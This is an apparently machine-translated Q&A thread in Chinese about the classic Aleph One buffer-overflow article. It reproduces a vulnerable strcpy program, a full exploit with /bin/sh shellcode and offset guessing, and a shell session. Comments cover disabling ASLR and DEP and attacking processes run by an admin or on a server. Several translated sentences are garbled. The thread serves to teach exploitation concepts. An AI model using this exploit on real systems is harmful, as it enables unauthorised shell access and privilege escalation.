您可以解释一下寻找缓冲区溢出潜力时寻找缓冲区偏移量的方法
我正在查看aleph's article on phrack magazine。下面的代码也可以在那里找到。您可以解释一下寻找缓冲区溢出潜力时寻找缓冲区偏移量的方法
我们有一个脆弱的可执行文件,它的代码是:
vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
现在,因为我们真的不知道,试图攻击该可执行文件(通过溢出buffer
时),buffer
的地址是什么。我们需要知道它的地址,因为我们想覆盖ret
指向buffer
(我们在其中放入我们的shellcode)的开头。
是在文章中描述的猜测过程如下:
我们可以创建一个程序,它作为一个参数一个缓冲区的大小,以及 一个从它自己的堆栈指针偏移量(我们相信我们 想要溢出的缓冲区可能存在)。我们会把溢出字符串中 环境变量,所以很容易操纵:
exploit2.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] = //this shellcode merely opens a shell
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
现在我们可以尝试猜测什么缓冲区和偏移应该是:
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
我不明白是什么呢个e编写者意在提出,在explot2.c
中,我们猜测vulnerable.c
中缓冲区的大小,它是从栈指针偏移的。
- 为什么我们将这个偏移量应用于
exploit2
的栈指针? - 这个效果如何
vulnerable
? - 除了构建
EGG
环境变量外,exploit2.c
的目的是什么? - 为什么我们最后称
system("/bin/bash");
? -
vulnerable
和exploit2
之间发生了什么?
exploit2
的唯一目的是建立egg变量,它需要作为参数传递给vulnerable
。它可以被修改,以便调用vulnerable
自身。
的shellcode
变量包含调用壳的功能的机器代码。目标是将此代码复制到vulnerable
的buffer
变量中,然后覆盖vulnerable
的main
函数的返回地址,以指向shell代码的入口点,即变量buffer
的地址。堆栈向下增长:堆栈指针寄存器(32位x86架构中的esp
)包含当前函数的局部变量使用的最小地址,在较高地址处我们找到其他局部变量,然后执行当前正在执行的函数的返回地址,然后是被调用者的变量等等。对变量(例如vulnerable
中的buffer
)的溢出写入将覆盖存储器中随后的buffer
后面的任何值,在此情况下,由于buffer
是main
函数的局部变量,所以返回地址为main
。
现在我们知道该怎么做,我们需要一些信息:
- 的
buffer
变量的地址,让我们把它bp
- 的
main
函数的返回地址的地址,我们姑且称之为它ra
如果我们有这个信息,我们可以建立一个利用字符串EGG
使得:
- 其长度,以便溢出串
buffer
足以覆盖返回地址ra - bp + sizeof(void*)
(sizeof (void*
是返回地址的大小) - 它包含的攻击代码在开始时被执行,并且地址
bp
末
请注意,我们只需要一个粗略的猜测的字符串的长度,因为我们可以直接使串长和不断重复的地址bp
了这一切,但我们需要计算精确bp
地址,如果我们想要的shellcode是正确执行。
我们开始通过猜测来覆盖返回值所需的字符串长度:600就够了,因为它触发Illegal instruction
错误。一旦我们找到它,我们可以寻找bp
地址。
我们知道,bp
是围绕堆的底部,因为这是局部变量的存储位置。我们假设地址堆栈是相同的vulnerable
和exploit2
,我们测量exploit2
堆栈地址,并开始闲逛改变offset
。一旦我们得到正确的偏移量shell代码将被执行(其导致addr
等于所述目标bp
的那个)时从vulnerable
的main
功能的控制流程返回。
如果你想测试此代码,请记住,这并不在其中所使用的操作系统包含数据不是可执行的标记页面,因为执行预防技术,现代化的机器工作。
1.我可以通过打开外壳,'setarch“UNAME -m” -R/bin中/ bash'禁用ASLR并且通过使可执行以禁用DEP的脆弱的数据段进行测试(有工具,使其能够)。 2.你知道最后一行'system(“/ bin/bash”)的用途是什么吗?为什么我们需要在利用漏洞打开的shell中运行? – Bush
2.这是因为'putenv'修改当前进程和子进程的环境(在这种情况下,由'system'打开的进程),所以你需要在那里运行'脆弱',以便让'EGG '定义变量。你也可以'利用'打印字符串并复制手动粘贴,但你必须处理逃跑 – pqnet
4.这种攻击假定ASLR没有被部署。现在,当我的机器上运行'脆弱'时,这个猜测过程是否相关? (我认为这不是因为在那种情况下我可以调试它,看看'buffer'的地址究竟是什么)。什么情况?也许我是一个用户(而不是管理员)在一台机器中,其中'弱点'由管理员运行?或者我试图攻击服务器上的进程? – Bush